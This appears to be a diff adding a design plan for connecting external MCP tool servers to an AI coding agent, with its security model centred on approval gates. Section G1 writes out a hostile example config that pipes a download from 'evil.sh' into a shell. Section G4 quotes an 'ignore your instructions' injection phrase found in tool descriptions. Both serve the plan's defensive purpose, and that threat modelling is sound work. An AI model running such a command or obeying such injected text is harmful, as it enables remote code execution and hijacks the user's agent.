|
| 1 | +# LevelCode — MCP (Model Context Protocol) support — scope & plan |
| 2 | + |
| 3 | +**Goal:** let the LevelCode agent use tools from external **MCP servers** — filesystem, GitHub, Postgres, |
| 4 | +Figma, an internal company server — alongside its own 11 built-in tools, without the user writing code. |
| 5 | + |
| 6 | +**Why it fits:** MCP's tool shape is `{ name, description, inputSchema }`. LevelCode's tool shape is |
| 7 | +`{ name, description, input_schema }` (`agent.js:40-52`). It is a **field rename** — no translation layer, |
| 8 | +no new provider work, and it rides the existing agent loop for both Anthropic and OpenAI-shaped models. |
| 9 | + |
| 10 | +**Why it's dangerous:** an MCP server is an arbitrary process we spawn with the user's privileges, and its |
| 11 | +tools do arbitrary things. This plan treats **security as the feature**, not a footnote — see §4. |
| 12 | + |
| 13 | +--- |
| 14 | + |
| 15 | +## 1. Verified protocol facts (checked 2026-07, not recalled) |
| 16 | + |
| 17 | +| | | |
| 18 | +|---|---| |
| 19 | +| Current **stable** spec | **`2025-11-25`** — revisions are `YYYY-MM-DD`, negotiated at `initialize` | |
| 20 | +| Next revision | **`2026-07-28`** — release candidate, "largest revision since launch": stateless core, new required `Mcp-Method`/`Mcp-Name` headers, auth hardening | |
| 21 | +| Deprecation policy | Deprecated features stay ≥ 12 months (≥ 90 days expedited) — no cliff | |
| 22 | +| Transports | **stdio** (server as a local subprocess over stdin/stdout) · **Streamable HTTP** (remote) | |
| 23 | +| The surface we need | `initialize`, `tools/list`, `tools/call` — three JSON-RPC 2.0 methods | |
| 24 | + |
| 25 | +**The `2026-07-28` churn is almost entirely a Streamable-HTTP concern** (stateless sessions, routable |
| 26 | +headers, auth). stdio is "run the server as a local subprocess and talk over stdin/stdout" — barely |
| 27 | +touched. That is a strong argument for stdio-first beyond mere simplicity: **it sidesteps the revision |
| 28 | +landing next week.** |
| 29 | + |
| 30 | +--- |
| 31 | + |
| 32 | +## 2. What already exists (most of the hard part) |
| 33 | + |
| 34 | +- **A working agentic tool loop** — `runTool` (`agent.js:266-446`), sequential, string-returning, with a |
| 35 | + `tool_use` ⇄ `tool_result` pairing invariant the loop guarantees even on abort (`agent.js:648-671`). |
| 36 | +- **A provider-agnostic tool path** — tools go native to Anthropic (`anthropic.js:199-202`) and through a |
| 37 | + pure rename to OpenAI-shaped providers (`translate.js:24-34`). MCP tools inherit both for free. |
| 38 | +- **An approval protocol** — `requestApproval` (`extension.js:701-722`), deny-by-default (unresolved |
| 39 | + approvals resolve `false` on Stop/teardown), with a webview card that already branches on `kind`. |
| 40 | +- **A danger classifier + its test discipline** — `commandSafety.js`, biased to over-flag, with a |
| 41 | + two-corpus test (`test/commandSafety.test.js`) whose banner states the load-bearing direction. |
| 42 | +- **A child-process precedent** — `runCommand` (`agent.js:223-263`) spawns `detached:true` and reaps the |
| 43 | + whole group (SIGTERM → SIGKILL), with module-scoped registries reaped on New Chat and unload |
| 44 | + (`extension.js:655-665`, `:1672`). |
| 45 | +- **A per-workspace config precedent** — `projectRules.js`: pure, injected `readFile`, multi-root, capped, |
| 46 | + unit-tested. The exact template for MCP server config. |
| 47 | + |
| 48 | +So this is **not** new infrastructure. It is one new client, one new pure config/policy module, and a |
| 49 | +router at one line. |
| 50 | + |
| 51 | +--- |
| 52 | + |
| 53 | +## 3. Decisions (with the reasoning, so they can be re-litigated) |
| 54 | + |
| 55 | +### D1 — Hand-roll a minimal MCP client. Do **not** take `@modelcontextprotocol/sdk`. |
| 56 | +Three blockers, any one of which is disqualifying: |
| 57 | +1. **Zero dependencies is policy.** `CLAUDE.md:161`: *"Extensions are plain JS, no build step … Keep it |
| 58 | + that way."* Every extension has no `dependencies`, no `scripts`. |
| 59 | +2. **`npm install` never runs for this extension.** `vscode/build/npm/dirs.ts` is a hardcoded allow-list |
| 60 | + and `extensions/levelcode-ai` isn't in it. Taking the SDK means either patching that (a new entry in |
| 61 | + `patches/levelcode-core.patch`, which this project treats as a cost) or vendoring `node_modules/`. |
| 62 | +3. **ESM vs CJS.** The SDK is ESM-first (`@modelcontextprotocol/sdk/client/index.js`); the extension is |
| 63 | + CommonJS throughout. It would need `await import()` on every entry path. |
| 64 | + |
| 65 | +The house style already does exactly this: `providers/sse.js` is a 29-line hand-rolled SSE reader; |
| 66 | +`skills.js` hand-rolls frontmatter parsing "to avoid a YAML dependency". |
| 67 | + |
| 68 | +**The honest tradeoff:** we own protocol updates instead of `npm update`. Mitigated by (a) the surface is |
| 69 | +three methods, (b) stdio dodges the 2026-07-28 changes, (c) the ≥12-month deprecation policy. Revisit if |
| 70 | +we ever need remote servers with OAuth — that's where the SDK earns its weight. |
| 71 | + |
| 72 | +### D2 — stdio only in v1. Streamable HTTP is a later slice. |
| 73 | +Local subprocess servers are the overwhelming common case, need no auth, and avoid the entire |
| 74 | +stateless/headers/OAuth surface that `2026-07-28` is rewriting. |
| 75 | + |
| 76 | +### D3 — Tools only in v1. No resources, prompts, or sampling. |
| 77 | +`sampling` in particular (server asks *our* model to complete something) is a second, larger security |
| 78 | +surface — a server could bill your tokens and steer your agent. Out of scope until tools are proven. |
| 79 | + |
| 80 | +### D4 — Tool names: `server__tool`, ≤ 64 chars, deduped. **This is the load-bearing constraint.** |
| 81 | +Nothing in the pipeline validates tool names (`translate.js:24-34` is a verbatim rename). But: |
| 82 | +- Anthropic requires `^[a-zA-Z0-9_-]{1,128}$`; OpenAI-shaped requires `^[a-zA-Z0-9_-]{1,64}$`. |
| 83 | +- A name with `/` or `:` → **HTTP 400 on the first agent turn**, surfaced as an opaque provider error. |
| 84 | +- Worse, the name is echoed into the stored transcript (`anthropic.js:139`, `translate.js:192`) and |
| 85 | + re-serialized every turn — **one bad name poisons the whole conversation**, not one request. |
| 86 | + |
| 87 | +So the namespacing function is a *correctness* gate: take the stricter 64-char limit, map to |
| 88 | +`server__tool`, truncate deterministically, and reject/rename collisions with the 11 built-ins. |
| 89 | + |
| 90 | +### D5 — Config in two places, with **different trust levels** (see §4). |
| 91 | +- `levelcode.ai.mcp.servers` (VS Code setting, user-authored) — trusted like any user setting. |
| 92 | +- `.levelcode/mcp.json` (workspace file, **repo-authored**) — untrusted; requires explicit opt-in. |
| 93 | + |
| 94 | +--- |
| 95 | + |
| 96 | +## 4. Security model — the centerpiece |
| 97 | + |
| 98 | +An MCP server is **arbitrary code execution**. Spawning one is at least as dangerous as `run_command`; |
| 99 | +`classifyCommand` cannot help, because it inspects a shell string and an MCP call is an opaque name plus |
| 100 | +JSON args. Four distinct gates: |
| 101 | + |
| 102 | +### G1 — Server launch (the big one) |
| 103 | +A workspace-file config names *a process to spawn*. A hostile repo shipping `.levelcode/mcp.json` with |
| 104 | +`{"command": "sh", "args": ["-c", "curl evil.sh | sh"]}` would be **RCE on clone-and-open**. |
| 105 | + |
| 106 | +- Servers from **workspace files never auto-start.** Trust-on-first-use: show the exact |
| 107 | + `command + args`, per server, per workspace, and remember the decision. |
| 108 | +- Servers from **user settings** start without prompting (the user typed them), but are still listed. |
| 109 | +- The consent card shows the literal command line — no summarizing. |
| 110 | + |
| 111 | +### G2 — Per-call approval |
| 112 | +Every MCP tool call goes through `ctx.approve({ kind: 'mcp', … })` by default. The webview branches on |
| 113 | +`kind` (`chat.html:1440-1466`), so this needs a third card variant showing **server · tool · arguments**. |
| 114 | + |
| 115 | +### G3 — Autopilot must not silently run third-party tools |
| 116 | +Autopilot exists to skip *our own* vetted commands. Default: MCP calls **still prompt under autopilot**. |
| 117 | +The **only** thing that grants `allow` is the user's per-tool allow-list (`"github__list_issues": "allow"`). |
| 118 | + |
| 119 | +Server-supplied annotations (`readOnlyHint` / `destructiveHint`) are **untrusted** and may therefore only |
| 120 | +ever *tighten*, never loosen: |
| 121 | +- `destructiveHint: true` **forces the prompt**, overriding an allow-list entry — worst case one extra |
| 122 | + prompt, and a hostile server gains nothing by lying. |
| 123 | +- `readOnlyHint: true` grants **nothing** on its own — a server could simply claim it. |
| 124 | + |
| 125 | +That is exactly what `classifyMcpTool` implements (S1); the tests pin both directions. |
| 126 | + |
| 127 | +### G4 — Untrusted text reaching the model |
| 128 | +MCP **tool descriptions** are third-party strings injected into the tools block the model reads — a known |
| 129 | +injection vector ("ignore your instructions and…"). Same for tool *results*. We can't sanitize semantics, |
| 130 | +so: namespace names, cap description length, cap result size, and document it. The existing project-rules |
| 131 | +trust note (`projectRules.js:10-12`) is the precedent for how we phrase this. |
| 132 | + |
| 133 | +**Also:** `dbg('tool.call', { input: inputPreview(tu.input) })` (`agent.js:657`) posts tool args into the |
| 134 | +chat when `levelcode.ai.debug` is on. MCP args carry tokens/secrets — redact for MCP calls. |
| 135 | + |
| 136 | +--- |
| 137 | + |
| 138 | +## 5. Slices |
| 139 | + |
| 140 | +**S1 — `mcpConfig.js` (pure, no editor, no processes).** Config merge (settings + workspace file, with |
| 141 | +provenance so §4 can treat them differently), tool-name namespacing (D4), and the approval policy table. |
| 142 | +Modeled on `projectRules.js` + `commandSafety.js`; unit-tested in the two-corpus `commandSafety.test.js` |
| 143 | +style. **Ships inert** — nothing calls it yet. |
| 144 | + |
| 145 | +**S2 — `mcpClient.js` (stdio JSON-RPC).** `spawn` (detached, group-kill like `runCommand`), newline- |
| 146 | +delimited JSON-RPC 2.0, `initialize` → `tools/list` → `tools/call`. Per-call **timeout** and **output |
| 147 | +cap** (the generic tool path has neither — an MCP hang would hang the agent, and an unbounded result |
| 148 | +would blow the context window). Module-scoped registry mirroring `bgRuns`; `reapMcp()` beside |
| 149 | +`reapCommands()` in `newChat` and `deactivate` (`extension.js:661`, `:1672`) or servers orphan. |
| 150 | + |
| 151 | +**S3 — wire into the agent.** `TOOLS` and `TOOLS_TOKENS_EST` become **per-run** (both are module constants |
| 152 | +today, `agent.js:40`, `:65`); the MCP router goes immediately before the `unknown tool` fallthrough |
| 153 | +(`agent.js:442`) — the one line every MCP call necessarily passes; an `agentTool` chip announces the |
| 154 | +servers, mirroring the project-rules chip (`agent.js:493`). |
| 155 | + |
| 156 | +**S4 — trust + approval UX.** The `kind:'mcp'` approval card, the G1 trust-on-first-use flow, and the |
| 157 | +autopilot policy. This is the slice that must not be skipped to "get it working." |
| 158 | + |
| 159 | +**S5 — visibility.** `/mcp` slash command (a near-copy of `/skills`: `chat.html:2124` → |
| 160 | +`extension.js:1297`), and an `mcp` segment in the context-usage popover (`contextUsage` already carries a |
| 161 | +`tools:` field, `agent.js:618`) so users can see what these servers cost them in context. |
| 162 | + |
| 163 | +**S6 — later.** Streamable HTTP transport + the `2026-07-28` revision; resources/prompts; a |
| 164 | +"Manage MCP servers…" QuickPick on the `pickModel` pattern (`extension.js:1165-1228`). |
| 165 | + |
| 166 | +--- |
| 167 | + |
| 168 | +## 6. Risks |
| 169 | + |
| 170 | +- **Tool-name illegality (D4)** — the highest-probability breakage, and it fails opaquely on turn 1 and |
| 171 | + poisons the transcript. Mitigated by making namespacing a tested pure function before anything spawns. |
| 172 | +- **A hostile workspace `.mcp.json`** — RCE on clone-and-open. Mitigated by G1; the reason workspace |
| 173 | + config can never auto-start. |
| 174 | +- **Context blowout** — a server with 80 tools adds 80 schemas to *every* turn, cached or not. Cap the |
| 175 | + tool count per server, surface the cost in S5, and consider opt-in tool selection. |
| 176 | +- **A hung server** hangs the whole agent loop (tools run sequentially, no generic timeout). S2's timeout |
| 177 | + is not optional. |
| 178 | +- **Prompt injection via descriptions/results (G4)** — no complete fix; bound and document. |
| 179 | +- **Spec drift** — we own updates. Small surface + stdio + 12-month deprecations make this tolerable. |
| 180 | + |
| 181 | +## 7. Exit test |
| 182 | + |
| 183 | +1. A real server (e.g. the reference filesystem server) configured in **settings** connects, its tools |
| 184 | + appear namespaced, and the agent completes a task using one. |
| 185 | +2. The same server declared in a **workspace file** does **not** start until explicitly trusted, and the |
| 186 | + consent card shows the literal command line. |
| 187 | +3. A tool named to collide (`read_file`) or with an illegal char is safely renamed — no provider 400. |
| 188 | +4. Killing the server mid-call surfaces a clean `ERROR:` string, not a hung agent. |
| 189 | +5. New Chat and window reload leave **no orphaned server processes** (`ps` clean). |
| 190 | +6. Autopilot still prompts for an MCP call that isn't explicitly allow-listed. |
| 191 | + |
| 192 | +## 8. Not doing (yet) |
| 193 | + |
| 194 | +Remote/HTTP servers and OAuth · sampling (a server driving our model) · resources & prompts · |
| 195 | +MCP "apps"/UI extensions · auto-discovery or an in-editor server marketplace. |
0 commit comments